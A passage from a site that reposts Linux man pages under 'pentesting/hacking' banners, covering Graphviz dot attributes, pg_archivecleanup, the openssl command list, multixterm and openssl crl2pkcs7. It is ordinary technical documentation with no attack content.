splines If set to true, edges are drawn as splines. If set to polyline, edges are drawn as polylines. If set to ortho, edges are drawn as orthogonal polylines. In all of these cases, the nodes must not overlap. If splines=false or splines=line, edges are drawn as line segments. The default is true for dot, and false for all other layouts.

(dot‐specific attributes)

**nodesep=**f sets the minimum separation between nodes.

**ranksep=**f sets the minimum separation between ranks.

rankdir=LR|RL|BT requests a left‐to‐right, right‐to‐left, or bottom‐to‐top, drawing.

rank=same (or min or max) in a subgraph constrains the rank assignment of its nodes. If a subgraph’s name has the prefix cluster, its nodes are drawn in a distinct rectangle of the layout. Clusters may be nested.

(neato‐specific attributes)
**mode=**val. Algorithm for minimizing energy in the layout. By default, neato uses stress majorization. If mode=KK, it uses a version of gradient descent.

**model=**val. The neato model computes the desired distances between all pairs of vertices. By default, it uses the length of the shortest path. If model is set to circuit, a circuit-resistance model is used. If model is set to subset, it uses a model whereby the edge length is the number of nodes that are neighbors of exactly one of the edge’s vertices.

**start=**val. Requests random initial placement and seeds the random number generator. If val is not an integer, the process ID or current time is used as the seed.

**epsilon=**n. Sets the cutoff for the solver. The default is 0.1.

(twopi‐specific attributes)
**root=**ctr. This specifies the node to be used as the center of the layout. If not specified, twopi will randomly pick one of the nodes that are furthest from a leaf node, where a leaf node is a node of degree 1. If no leaf nodes exists, an arbitrary node is picked as center.

**ranksep=**val. Specifies the radial distance in inches between the sequence of rings. The default is 0.75.

(circo‐specific attributes)
**root=**nodename. Specifies the name of a node occurring in the root block. If the graph is disconnected, the root node attribute can be used to specify additional root blocks.

**mindist=**value. Sets the minimum separation between all nodes. If not specified then circo uses a default value of 1.0.

(fdp‐specific attributes)
**K=**val. Sets the default ideal node separation in the layout.

**maxiter=**val. Sets the maximum number of iterations used to layout the graph.

**start=**val. Adjusts the random initial placement of nodes with no specified position. If val is is an integer, it is used as the seed for the random number generator. If val is not an integer, a random system‐generated integer, such as the process ID or current time, is used as the seed.

Node Attributes

**height=**d or **width=**d sets minimum height or width. Adding fixedsize=true forces these to be the actual size (text labels are ignored).

**shape=**builtin_polygon record epsf
builtin_polygon can be such values as plaintext, ellipse, oval, circle, egg, triangle, box, diamond, trapezium, parallelogram, house, hexagon, octagon, note, tab, box3d, or component,, among others. (Polygons are defined or modified by the following node attributes: regular, peripheries, sides, orientation, distortion and skew.) epsf uses the node’s shapefile attribute as the path name of an external EPSF file to be automatically loaded for the node shape.

See http://www.graphviz.org/content/node-shapes for a complete description of node shapes.

**color=**colorvalue sets the outline color, and the default fill color if style=filled and fillcolor is not specified.

**fillcolor=**colorvalue sets the fill color when style=filled. If not specified, the fillcolor when style=filled defaults to be the same as the outline color.

style=filled solid dashed dotted bold invis

xlabel=“text” specifies a label that will be place near, but outside, of a node. The normal label string is placed within the node shape.

target=“target” is a target string for client‐side imagemaps and SVG, effective when nodes have a URL. The target string is used to determine which window of the browser is used for the URL. Setting it to “_graphviz” will open a new window if it doesn’t already exist, or reuse it if it does. If the target string is empty, the default, then no target attribute is included in the output. The substrings ‘\N’ and ‘\G’ are substituted in the same manner as for the node label attribute. Additionally the substring ‘\L’ is substituted with the node label string.

tooltip=“text” is a tooltip string for client‐side imagemaps and SVG, effective when nodes have a URL. The tooltip string defaults to be the same as the label string, but this attribute permits nodes without labels to still have tooltips thus permitting denser graphs. The substrings ‘\N’ and ‘\G’ are substituted in the same manner as for the node label attribute. Additionally the substring ‘\L’ is substituted with the node label string.

The following attributes apply only to polygon shape nodes:

**regular=**n if n is non‐zero then the polygon is made regular, i.e. symmetric about the x and y axis, otherwise the polygon takes on the aspect ratio of the label. builtin_polygons that are not already regular are made regular by this attribute. builtin_polygons that are already regular are not affected (i.e. they cannot be made asymmetric).

**peripheries=**n sets the number of periphery lines drawn around the polygon. This value supersedes the number of periphery lines of builtin_polygons.

**sides=**n sets the number of sides to the polygon. n<3 results in an ellipse. This attribute is ignored by builtin_polygons.

**orientation=**f sets the orientation of the first apex of the polygon counterclockwise from the vertical, in degrees. f may be a floating point number. The orientation of labels is not affected by this attribute. This attribute is added to the initial orientation of builtin_polygons.

**distortion=**f sets the amount of broadening of the top and narrowing of the bottom of the polygon (relative to its orientation). Floating point values between -1 and +1 are suggested. This attribute is ignored by builtin_polygons.

**skew=**f sets the amount of right‐displacement of the top and left‐displacement of the bottom of the polygon (relative to its orientation). Floating point values between -1 and +1 are suggested. This attribute is ignored by builtin_polygons.

(circo‐specific attributes)
**root=**true/false. This specifies that the block containing the given node be treated as the root of the spanning tree in the layout.

(neato‐ and fdp‐specific attributes)
**pin=**val. If val is true, the node will remain at its initial position.

Edge Attributes

**weight=**val where val is the cost of the edge. For dot, weights must be non-negative integers. Values greater than 1 tend to shorten the edge; weight 0 flat edges are ignored for ordering nodes. In twopi, a weight of 0 will cause the edge to be ignored in constructing the underlying spanning tree. For neato and fdp, a heavier weight will put more emphasis on the algorithm achieving an edge length closer to that specified by the edge’s len attribute.

style=solid dashed dotted bold invis

**color=**colorvalue sets the line color for edges.

**color=**colorvaluelist a ‘:’ separated list of colorvalue creates parallel edges, one edge for each color.

dir=forward back both none controls arrow direction.

tailclip,headclip=false disables endpoint shape clipping.

target=“text” is a target string for client‐side imagemaps and SVG, effective when edges have a URL. If the target string is empty, the default, then no target attribute is included in the output. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

tooltip=“text” is a tooltip string for client‐side imagemaps effective when edges have a URL. The tooltip string defaults to be the same as the edge label string. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

arrowhead,arrowtail=none, normal, inv, dot, odot, invdot, invodot, tee, empty, invempty, open, halfopen, diamond, odiamond, box, obox, crow. Specifies the shape of the glyph occurring where the edge touches the head or tail node, respectively. Note that this only specifies the shape. The dir attribute determines whether or not the glyph is drawn.

**arrowsize=**val specifies a multiplicative scale factor for the size of the arrowhead. inv_length=6,inv_width=7,dot_radius=2)

**headlabel,taillabel=**text for labels appearing near the head and tail nodes of an edge. labelfontcolor, labelfontname, labelfontsize for head and tail labels. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

headhref=“url” sets the url for the head port in imagemap, PostScript and SVG files. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

headURL=“url” (headURL is a synonym for headhref.)

headtarget=“headtarget” is a target string for client‐side imagemaps and SVG, effective when edge heads have a URL. The headtarget string is used to determine which window of the browser is used for the URL. If the headtarget string is empty, the default, then headtarget defaults to the same value as target for the edge. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

headtooltip=“tooltip” is a tooltip string for client‐side imagemaps effective when head ports have a URL. The tooltip string defaults to be the same as the headlabel string. The substrings ‘\T’, ‘\H’, and ‘’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

tailhref=“url” sets the url for the tail port in imagemap, PostScript and SVG files. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

tailURL=“url” (tailURL is a synonym for tailhref.)

tailtarget=“tailtarget” is a target string for client‐side imagemaps and SVG, effective when edge tails have a URL. The tailtarget string is used to determine which window of the browser is used for the URL. If the tailtarget string is empty, the default, then tailtarget defaults to the same value as target for the edge. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

tailtooltip=“tooltip” is a tooltip string for client‐side imagemaps effective when tail ports have a URL. The tooltip string defaults to be the same as the taillabel string. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

labeldistance and labelangle (in degrees CCW) specify the placement of head and tail labels.

decorate draws line from edge to label.

samehead,sametail aim edges having the same value to the same port, using the average landing point.

(dot‐specific attributes)
constraint=false causes an edge to be ignored for rank assignment.

**minlen=**n where n is an integer factor that applies to the edge length (ranks for normal edges, or minimum node separation for flat edges).

xlabel=“text” Edge labels in dot are treated as special types of nodes, with space allocated for them during node layout. This can sometimes deform the edge routing. If an xlabel is used instead, the label is placed after all nodes and edges have been positioned. In turn, this may mean that there is some overlap among the labels.

(neato and fdp‐specific attributes)
**len=**f sets the optimal length of an edge. The default is 1.0.

COMMAND‐LINE OPTIONS

-G sets a default graph attribute.
-N sets a default node attribute.
-E sets a default edge attribute. Example: -Gsize=“7,8” -Nshape=box -Efontsize=8

-lfile loads custom PostScript library files. Usually these define custom shapes or styles. If -l is given by itself, the standard library is omitted.

-Tlang sets the output language as described above.

-n[1|2] (no‐op) If set, neato assumes nodes have already been positioned and all nodes have a pos attribute giving the positions. It then performs an optional adjustment to remove node‐node overlap, depending on the value of the overlap attribute, computes the edge layouts, depending on the value of the splines attribute, and emits the graph in the appropriate format. If num is supplied, the following actions occur:

    num = 1

Equivalent to -n.

    num > 1

Use node positions as specified, with no adjustment to remove node‐node overlaps, and use any edge layouts already specified by the pos attribute. neato computes an edge layout for any edge that does not have a pos attribute. As usual, edge layout is guided by the splines attribute.

-Klayout override the default layout engine implied by the command name.

-O automatically generate output filenames based on the input filename and the -T format.

-P generate a graph of the currently available plugins.

-v (verbose) prints various information useful for debugging.

-c configure plugins.

-m memory test (observe no growth with top, kill when done).

-qlevel set level of message suppression. The default is 1.

-sfscale scale input by fscale, the default is 72.

-y invert y coordinate in output.

-V (version) prints version information and exits.

-? prints the usage and exits.

A complete description of the available command‐line options can be found at https://www.graphviz.org/doc/info/command.html.

EXAMPLES

digraph test123 {
        a -> b -> c;
        a -> {x y};
        b [shape=box];
        c [label="hello\ nworld",color=blue,fontsize=24,
             fontname="Palatino-Italic",fontcolor=red,style=filled];
        a -> z [label="hi", weight=100];
        x -> z [label="multi-line\ nlabel"];
        edge [style=dashed,color=red];
        b -> x;
        {rank=same; b x}
}

graph test123 {
        a -- b -- c;
        a -- {x y};
        x -- c [w=10.0];
        x -- y [w=5.0,len=3];
}

CAVEATS

Edge splines can overlap unintentionally.

Flat edge labels are slightly broken. Intercluster edge labels are totally broken.

Because unconstrained optimization is employed, node boxes can possibly overlap or touch unrelated edges. All existing spring embedders seem to have this limitation.

Apparently reasonable attempts to pin nodes or adjust edge lengths and weights can cause instability.

AUTHORS

Stephen C. North <[email protected]>
Emden R. Gansner <[email protected]>
John C. Ellson <[email protected]>
Yifan Hu <[email protected]>

The bitmap driver (PNG, GIF etc) is by Thomas Boutell, <http://www.boutell.com/gd>

The Truetype font renderer is from the Freetype Project (David Turner, Robert Wilhelm, and Werner Lemberg) (who can be contacted at [email protected]).

SEE ALSO

This man page contains only a small amount of the information related to the Graphviz layout programs. The most complete information can be found at http://www.graphviz.org/Documentation.php, especially in the on‐line reference pages. Most of these documents are also available in the doc and doc/info subtrees in the source and binary distributions.

dotty(1),tcldot(n),xcolors(1),libgraph(3).

E. R. Gansner, S. C. North, K. P. Vo, “DAG ‐ A Program to Draw Directed Graphs”, Software ‐ Practice and Experience 17(1), 1988, pp. 1047‐1062.
E. R. Gansner, E. Koutsofios, S. C. North, K. P. Vo, “A Technique for Drawing Directed Graphs,” IEEE Trans. on Soft. Eng. 19(3), 1993, pp. 214‐230.
S. North and E. Koutsofios, “Applications of graph visualization”, Graphics Interface 94, pp. 234‐245.
E. R. Gansner and E. Koutsofios and S. C. North, “Drawing Graphs with dot,” Available at http://www.graphviz.org/pdf/dotguide.pdf.
S. C. North, “NEATO User’s Manual”. Available http://www.graphviz.org/pdf/neatoguide.pdf.
E. R. Gansner and Y. Hu, “Efficient, Proximity-Preserving Node Overlap Removal”, J. Graph Algorithms Appl., 14(1) pp. 53‐74, 2010.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2046 - Linux cli command pg_archivecleanup

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_archivecleanup and provides detailed information about the command pg_archivecleanup, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_archivecleanup.

NAME 🖥️ pg_archivecleanup 🖥️

clean up PostgreSQL WAL archive files

SYNOPSIS

pg_archivecleanup [option…] archivelocation oldestkeptwalfile

DESCRIPTION

pg_archivecleanup is designed to be used as an archive_cleanup_command to clean up WAL file archives when running as a standby server (see Section 27.2). pg_archivecleanup can also be used as a standalone program to clean WAL file archives.

To configure a standby server to use pg_archivecleanup, put this into its postgresql.conf configuration file:

archive_cleanup_command = pg_archivecleanup archivelocation %r

where archivelocation is the directory from which WAL segment files should be removed.

When used within archive_cleanup_command, all WAL files logically preceding the value of the %r argument will be removed from archivelocation. This minimizes the number of files that need to be retained, while preserving crash-restart capability. Use of this parameter is appropriate if the archivelocation is a transient staging area for this particular standby server, but not when the archivelocation is intended as a long-term WAL archive area, or when multiple standby servers are recovering from the same archive location.

When used as a standalone program all WAL files logically preceding the oldestkeptwalfile will be removed from archivelocation. In this mode, if you specify a .partial or .backup file name, then only the file prefix will be used as the oldestkeptwalfile. This treatment of .backup file name allows you to remove all WAL files archived prior to a specific base backup without error. For example, the following example will remove all files older than WAL file name 000000010000003700000010:

pg_archivecleanup -d archive 000000010000003700000010.00000020.backup

pg_archivecleanup:  keep WAL file "archive/000000010000003700000010" and later
pg_archivecleanup:  removing file "archive/00000001000000370000000F"
pg_archivecleanup:  removing file "archive/00000001000000370000000E"

pg_archivecleanup assumes that archivelocation is a directory readable and writable by the server-owning user.

OPTIONS

pg_archivecleanup accepts the following command-line arguments:

-d

Print lots of debug logging output on stderr.

-n

Print the names of the files that would have been removed on stdout (performs a dry run).

-V
–version

Print the pg_archivecleanup version and exit.

-x extension

Provide an extension that will be stripped from all file names before deciding if they should be deleted. This is typically useful for cleaning up archives that have been compressed during storage, and therefore have had an extension added by the compression program. For example: -x .gz.

-?
–help

Show help about pg_archivecleanup command line arguments, and exit.

ENVIRONMENT

The environment variable PG_COLOR specifies whether to use color in diagnostic messages. Possible values are always, auto and never.

NOTES

pg_archivecleanup is designed to work with PostgreSQL 8.0 and later when used as a standalone utility, or with PostgreSQL 9.0 and later when used as an archive cleanup command.

pg_archivecleanup is written in C and has an easy-to-modify source code, with specifically designated sections to modify for your own needs

EXAMPLES

On Linux or Unix systems, you might use:

archive_cleanup_command = pg_archivecleanup -d /mnt/standby/archive %r 2»cleanup.log

where the archive directory is physically located on the standby server, so that the archive_command is accessing it across NFS, but the files are local to the standby. This will:

·

produce debugging output in cleanup.log

·

remove no-longer-needed files from the archive directory

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2047 - Linux cli command randssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command randssl and provides detailed information about the command randssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the randssl.

NAME 🖥️ randssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2048 - Linux cli command multixterm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command multixterm and provides detailed information about the command multixterm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the multixterm.

NAME 🖥️ multixterm 🖥️

drive multiple xterms separately or together

SYNOPSIS

multixterm [ args ]

DESCRIPTION

Multixterm creates multiple xterms that can be driven together or separately.

In its simplest form, multixterm is run with no arguments and commands are interactively entered in the first entry field. Press return (or click the “new xterm” button) to create a new xterm running that command.

Keystrokes in the “stdin window” are redirected to all xterms started by multixterm. xterms may be driven separately simply by focusing on them.

The stdin window must have the focus for keystrokes to be sent to the xterms. When it has the focus, the color changes to aquamarine. As characters are entered, the color changes to green for a second. This provides feedback since characters are not echoed in the stdin window.

Typing in the stdin window while holding down the alt or meta keys sends an escape character before the typed characters. This provides support for programs such as emacs.

ARGUMENTS

-xa
The optional -xa argument indicates arguments to pass to xterm.

-xc
The optional -xc argument indicates a command to be run in each named xterm (see -xn). With no -xc argument, the command is the current shell.

-xd
The optional -xd argument indicates a directory to search for files that will appear in the Files menu. By default, the directory is: ~/lib/multixterm

-xf
The optional -xf argument indicates a file to be read at startup. See FILES below for more info.

-xn
The optional -xn argument indicates a name for each xterm. This name will also be substituted for any %n in the command argument (see -xc).

-xv
The optional -xv flag puts multixterm into a verbose mode where it will describe some of the things it is doing internally. The verbose output is not intended to be understandable to anyone but the author.

Less common options may be changed by the startup file (see FILES below).

All the usual X and wish flags are supported (i.e., -display, -name). There are so many of them that to avoid colliding and make them easy to remember, all the multixterm flags begin with -x.

If any arguments do not match the flags above, the remainder of the command line is made available for user processing. By default, the remainder is used as a list of xterm names in the style of -xn. The default behavior may be changed using the .multixtermrc file (see DOT FILE below).

EXAMPLE COMMAND LINE ARGUMENTS

The following command line starts up two xterms using ssh to the hosts bud and dexter.

multixterm -xc “ssh %n” bud dexter

FILES

Command files may be used to drive or initialize multixterm. The File menu may be used to invoke other files. If files exist in the command file directory (see -xd above), they will appear in the File menu. Files may also be loaded by using File->Open. Any filename is acceptable but the File->Open browser defaults to files with a .mxt suffix.

Files are written in Tcl and may change any variables or invoke any procedures. The primary variables of interest are ‘xtermCmd’ which identifies the command (see -xc) and ‘xtermNames’ which is a list of names (see -xn). The procedure xtermStartAll, starts xterms for each name in the list. Other variables and procedures may be discovered by examining multixterm itself.

EXAMPLE FILE

The following file does the same thing as the earlier example command line:

	# start two xterms connected to bud and dexter
	set xtermCmd "ssh %n"
	set xtermNames {bud dexter}
	xtermStartAll

DOT FILE

At startup, multixterm reads ~/.multixtermrc if present. This is similar to the command files (see FILES above) except that .multixtermrc may not call xtermStartAll. Instead it is called implicitly, similar to the way that it is implicit in the command line use of -xn.

The following example .multixtermrc file makes every xterm run ssh to the hosts named on the command line.

set xtermCmd “ssh %n”

Then multixterm could be called simply:

multixterm bud dexter

If any command-line argument does not match a multixterm flag, the remainder of the command line is made available to .multixtermrc in the argv variable. If argv is non-empty when .multixtermrc returns, it is assigned to xtermNames unless xtermNames is non-empty in which case, the content of argv is ignored.

Commands from multixterm are evaluated early in the initialization of multixterm. Anything that must be done late in the initialization (such as adding additional bindings to the user interface) may be done by putting the commands inside a procedure called “initLate”.

MENUS

Except as otherwise noted, the menus are self-explanatory. Some of the menus have dashed lines as the first entry. Clicking on the dashed lines will “tear off” the menus.

USAGE SUGGESTION - ALIASES AND COMMAND FILES

Aliases may be used to store lengthy command-line invocations. Command files can be also be used to store such invocations as well as providing a convenient way to share configurations.

Tcl is a general-purpose language. Thus multixterm command files can be extremely flexible, such as loading hostnames from other programs or files that may change from day-to-day. In addition, command files can be used for other purposes. For example, command files may be used to prepared common canned interaction sequences. For example, the command to send the same string to all xterms is:

xtermSend “a particularly long string”

The File menu (torn-off) makes canned sequences particularly convenient. Interactions could also be bound to a mouse button, keystroke, or added to a menu via the .multixtermrc file.

The following .multixtermrc causes tiny xterms to tile across and down the screen. (You may have to adjust the parameters for your screen.) This can be very helpful when dealing with large numbers of xterms.

    set yPos 0
    set xPos 0

    trace variable xtermArgs r traceArgs

    proc traceArgs {args} {
        global xPos yPos
        set ::xtermArgs "-geometry 80x12+$xPos+$yPos -font 6x10"
        if {$xPos} {
            set xPos 0
            incr yPos 145
            if {$yPos > 800} {set yPos 0}
        } else {
            set xPos 500
        }
    }

The xtermArgs variable in the code above is the variable corresponding to the -xa argument.

xterms can be also be created directly. The following command file creates three xterms overlapped horizontally:

    set xPos 0
    foreach name {bud dexter hotdog} {
        set ::xtermArgs "-geometry 80x12+$xPos+0 -font 6x10"
        set ::xtermNames $name
        xtermStartAll
        incr xPos 300
    }

USAGE SUGGESTION - SELECTING HOSTS BY NICKNAME

The following .multixtermrc shows an example of changing the default handling of the arguments from hostnames to a filename containing hostnames:

set xtermNames [exec cat $argv]

The following is a variation, retrieving the host names from the yp database:

set xtermNames [exec ypcat $argv]

The following hardcodes two sets of hosts, so that you can call multixterm with either “cluster1” or “cluster2”:

	switch $argv {
            cluster1 {
                set xtermNames "bud dexter"
            }
            cluster2 {
                set xtermNames "frank hotdog weiner"
            }
        }

COMPARE/CONTRAST

It is worth comparing multixterm to xkibitz. Multixterm connects a separate process to each xterm. xkibitz connects the same process to each xterm.

LIMITATIONS

Multixterm provides no way to remotely control scrollbars, resize, and most other window system related functions.

Because xterm has no mechanism for propagating size information to external processes, particularly for character graphic applications (e.g., vi, emacs), you may have to manually ensure that the spawned process behind each xterm has the correct size. For example, if you create or set the xterm to a size, you may have to send an explicit stty command with the correct size to the spawned process(es). Alternatively, you can add the correct size argument when an xterm is created (i.e., “-geometry 80x20”).

Multixterm can only control new xterms that multixterm itself has started.

As a convenience, the File menu shows a limited number of files. To show all the files, use File->Open.

FILES

$DOTDIR/.multixtermrc initial command file
~/.multixtermrc fallback command file
~/lib/multixterm/ default command file directory

BUGS

If multixterm is killed using an uncatchable kill, the xterms are not killed. This appears to be a bug in xterm itself.

Send/expect sequences can be done in multixterm command files. However, due to the richness of the possibilities, to document it properly would take more time than the author has at present.

REQUIREMENTS

Requires Expect 5.36.0 or later.
Requires Tk 8.3.3 or later.

VERSION

This man page describes version 1.8 of multixterm.

The latest version of multixterm is available from http://expect.nist.gov/example/multixterm . If your version of Expect and Tk are too old (see REQUIREMENTS above), download a new version of Expect from http://expect.nist.gov

DATE

April 30, 2002

AUTHOR

Don Libes <[email protected]>

LICENSE

Multixterm is in the public domain; however the author would appreciate acknowledgement if multixterm or parts of it or ideas from it are used.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2049 - Linux cli command openssl-crl2pkcs7ssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-crl2pkcs7ssl and provides detailed information about the command openssl-crl2pkcs7ssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-crl2pkcs7ssl.

NAME 🖥️ openssl-crl2pkcs7ssl 🖥️

crl2pkcs7 - Create a PKCS#7 structure from a CRL and certificates

SYNOPSIS

openssl crl2pkcs7 [-help] [-inform DER|PEM] [-outform DER|PEM] [-in filename] [-out filename] [-certfile filename] [-nocrl] [-provider name] [-provider-path path] [-propquery propq]

DESCRIPTION

This command takes an optional CRL and one or more certificates and converts them into a PKCS#7 degenerate “certificates only” structure.

OPTIONS

-help
Print out a usage message.

-inform DER|PEM
The input format of the CRL; the default is PEM. See openssl-format-options (1) for details.

-outform DER|PEM
The output format of the PKCS#7 object; the default is PEM. See openssl-format-options (1) for details.

-in filename
This specifies the input filename to read a CRL from or standard input if this option is not specified.

-out filename
Specifies the output filename to write the PKCS#7 structure to or standard output by default.

-certfile filename
Specifies a filename containing one or more certificates in PEM format. All certificates in the file will be added to the PKCS#7 structure. This option can be used more than once to read certificates from multiple files.

-nocrl
Normally a CRL is included in the output file. With this option no CRL is included in the output file and a CRL is not read from the input file.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

EXAMPLES

Create a PKCS#7 structure from a certificate and CRL:

openssl crl2pkcs7 -in crl.pem -certfile cert.pem -out p7.pem

Creates a PKCS#7 structure in DER format with no CRL from several different certificates:

openssl crl2pkcs7 -nocrl -certfile newcert.pem -certfile demoCA/cacert.pem -outform DER -out p7.der

NOTES

The output file is a PKCS#7 signed data structure containing no signers and just certificates and an optional CRL.

